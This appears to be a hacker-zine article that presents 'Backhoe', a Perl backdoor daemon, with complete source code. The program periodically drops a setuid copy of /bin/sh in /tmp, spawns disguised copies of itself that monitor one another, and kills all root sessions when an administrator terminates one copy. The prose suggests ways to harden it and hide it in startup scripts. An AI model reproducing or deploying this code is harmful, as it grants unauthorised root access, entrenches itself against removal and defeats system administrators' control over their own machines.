Your Very Own Backhoe

by miff

What is It?

Backhoe is a backdoor daemon that copies a root shell into /tmp periodically, the deletes it.  You set the frequency that you want root shells to appear, and you set the amount of time that they will persist before Backhoe deletes them.  This gives the user who knows what to look for a convenient backdoor without having to modify any system binaries or otherwise f*ck someone's box.

O.K., so what?  It puts a root shell in /tmp every so often, BFD.  Well, to make things more interesting, it also spawns multiple copies of itself - you know in case root sees some strange process or behavior and decides to kill -9 the bitch.  The separate copies (you pick how many you want) actually monitor each other using signals to make sure that all is well with the backdoor.  If any of the copies of Backhoe find that any of the other copies of Backhoe are missing or not functioning, Backhoe goes into defense mode.

In defense mode, Backhoe kills all root sessions, spawns a new set of daemons (in addition to the ones already running), and re-initializes all of them.  Normal operation continues, with a few more instances of Backhoe in memory.

In order to make Backhoe harder to kill all at once, I added a disguise routine which makes Backhoe appear to be one of any number of normal processes(at random), or joke processes, if you prefer to f*ck with the admin.

Why?

Why run Backhoe?  Well, I suppose it could actually be useful for its intended purpose with an inexperienced sysadmin.

There are some mods you may wish to make (see below) if you really want to make it tight, though.  You may also wish to run it just to mess with your sysadmin - imagine his confusion when every time he tries to kill a particular process his session dies?  Finally, run it just to see how it works, then make improvements.  I think there's lots of potential for self-monitoring, self-defending daemons do many other things other than just put root shells in /tmp (use your imagination).

Where Will It Run?  How Can I Run It on XXXX?

At this point, Backhoe has only been tested on Linux.  I have only tested it on Slackware (2.0.28 kernel) with Perl 5.003.

It definitely won't run on Solaris as it is, mainly because of the flags on 'ps' and parsing the result set.  This should be easy to fix though; the code is intended to be easily modifiable.

Wanna run it on NT or 95?  Hehe - sure, tough guy.

Weakness

At this point, there are a few glaring weaknesses in Backhoe that keep it from being industrial strength.  I was gonna fix some of these but - bah - too lazy.

1.)  It's not compiled, and will be hard to insert into system start-up scripts without being noticed.  The obvious answer: compile it.  (Yes, Perl has compilers now.)  Or, if you prefer, translate it to C.

2.)  The process numbers are predictable (I think they increment by 2).  This would be easy to fix by adding a random dummy process generator to spin the 'ps' ID counter in-between spawns.

3.)  Its only defense is killing root sessions (and spawning more of itself).  There are ways to attack it without having a root session show up in 'ps -jax'.  Solution: this one is more complex, we'll deal with it some other time.

Recommendations if You're Really Gonna Use it to Make a Backdoor

Well, obviously take note of the weaknesses above and take the recommended actions.  Pay attention to the user configurable variables.  Do you want 15 copies?  How long do you want the root shells to hang out in the wind before they get deleted?  What are some passable 'ps' names on your system?

Another minor mod that would make it much more safe to use (in terms of other users grabbing your root shell) would be to make Backhoe watch /tmp for a file of a name you specify, then 'chmod' it 4755.  That way you are not providing a backdoor to the other users on the system.

Finally, don't f*ck up people's systems.  Don't change the defense mode to 'rm -rf /*'.  That would be rude.  No point in that.  The point of this code is not to f*ck up people's systems - use it for fun.

Enjoy, and hack the shit out of it, eh?

Shouts to: muashi for early discussions and the process grepping code and cplus-plus for being the first (unwilling) beta tester, and for being generally elite.

#!/usr/bin/perl
#
# backhoe
# written by miff
#
# this little ho periodically places a rootshell in /tmp
# (you can set the frequency), spawns multiple copies of
# itself, disguises itself, watches for its brothers, and
# kills root if any brothers die.
#
# modified to using signaling to check for brothers, and 
# to use double-forking rather than execing a new copy
# also clean up shell spawning....
# added disguise routing to make the bros harder to kill
# all at once...
# version 2 complete 8/20/97
#

# we do this again in initialize, but need it here...
&set_vars;

# fork progs until we reach our desired num
while ($famsize > 1) {
	&forker;
	$famsize--;
}

&initialize;

# we should never return from this one...
&controlfreak;

die "big problems - you are where you should not be...\n";

# sub starts here...
# **********************************************************
# THIS IS THE ONLY SECTION YOU NEED TO MESS WITH
sub set_vars {
	# set needed variables
	# number of brothers:
	$famsize = 4;    # how many additional brothers will there be...
	$rootid = 0;     # this is the id of root (0) - useful to set other for debug
 	$shelltime = 15; # this tells use to leave the rootshell out for 15 seconds
	$sleeptime = 45; # this tells the prog to sleep 45 seconds between rootshells
	$paranoid = 0;   # set this if you want to kill *all* shells, not just root
	                 # not currently implemented

#@psnames = ('vi', 'nfsiod', 'kflushd', 'kswapd', 'update', 'lpd', '/usr/sbin/rpc.mountd', '/usr/sbin/rpc.nfsd', '0wned');
@psnames = ('dickhead', 'shitface', 'fuck', 'diebitch', 'x0x', 'phucewe', 'mountme', 'shitd', '0wned');
}

# note: prolly wanna change the psnames array when really using this.
# **********************************************************
# **********************************************************
# **********************************************************

sub initialize {
	&set_vars; # set key vars, write pid, read pids, enter main controller.

	&disguise; # give ourselves a better ps name...

	&scent;

	sleep 2; # give bros a chance to leave scent before reading pids
	         # this gives us 2 seconds of initial vulnerability - big deal

	&fraternize;
}

sub disguise {
	# here we will randomly set the process name...
	srand(time ^ $$);
	$randum = int(rand(9));
	$0 = $psnames[$randum];
}

sub controlfreak {
	$end = 0;
	$slept = 0;
	$shell = 0;
	while ($end < 1) {
		&check_bro;
		sleep 1;
		++$slept;

		if ($shell == 0 && $slept > $sleeptime) {
			&make_shell;
			$slept = 0;
			$shell = 1;
		}
		if ($shell == 1 && $slept > $sleeptime) {
			&kill_shell;
			$slept = 0;
			$shell = 0;
		}
	}
}

sub panic {
	# here we want to kill roots, fork new, reinitialize...
	&kill_roots;
	&set_vars; # need to get famsize again... (this will grow..)
	# fork progs until we reach out desired num
	while ($famsize > 1) {
		&forker;
		$famsize--;
	}
	&initialize;
	&kill_roots;
	# we should now have at least as many bros as we need,
	# they have re-read the temp file and are checking new pids
}

# here we leave our scent (ps num) in the /tmp file...
sub scent {
	open PSLOG, ">>/tmp/31336.tmp"; # perhaps this should be a var
		print PSLOG "$$-";      # append our ps num and a separator dash
	close PSLOG;                    # close it
}

# here we read the pslog to find our brethen's ids, then we 
# rm the pslog (tho in fact only one bro will get to do this)
sub fraternize {
	open PSLIST, "/tmp/31336.tmp" || die "no ps list!\n"; # change this to panic...
		@brolist = split ("-", <PSLIST>);             # build our brotha array..
	close PSLIST;
	sleep 4;                                              # give other bros a chance to read it...
						              # (another 4 second vulnerability...)
	if (-e "/tmp/31336.tmp") {
		unlink "/tmp/31336.tmp"; # rm that baby...
	}
}

sub check_bro {
	# all new check bro routine!!! (much smaller :):):)
	# check all signals to make sure our frendz live on...
	$ok = 0;

	foreach $ps (@brolist) {
		unless (kill 0, $ps) {
			&panic;
		}
	}
}

sub make_shell {
	# simplified by removing directory...
	unless (-e "/tmp/.nfsd") {
		system ("cp /bin/sh /tmp/.nfsd");
		system ("chmod 4775 /tmp/.nfsd");
	}
}

sub kill_shell {
	if (-e "/tmp/.nfsd") {
		unlink "/tmp/.nfsd"; # a better shell killer...
	}
}

sub kill_roots {
	# this modified from jacob's shit...
	# note: since the last version, array now begins wit 0,
	# so all field numbers are decremented...
	open PSK, "ps -jax |";
		while ($xx = <PSK>) {
			chop $xx;
			@info = split(" ", $xx, 10);
			
			if ($info[7] == $rootid && $info[9] =~ 'sh') {
					unless ($info[9] =~ 'flush') {
						kill 9, $info[1];
					}
			}
		}
	close PSK;
}

sub forker {
	# we need to double fork here... (but not right now)
	$spawn_id = fork();
	die "fork failed: $!" unless defined $spawn_id;
	if ($spawn_id) {
		# we are the parent - woo hoo
		waitpid($spawn_id, 0);
	}
	else {
		#we be da chile - woo hoo
		$dfork = fork();
		die "doubel fork failed: $!" unless defined $dfork;
		if ($dfork) {
			# we are the intermediary - must die!!!
			exit 0;
		}
	        $famsize = 0;
	}
}

Code: backhoe.pl

Return to $2600 Index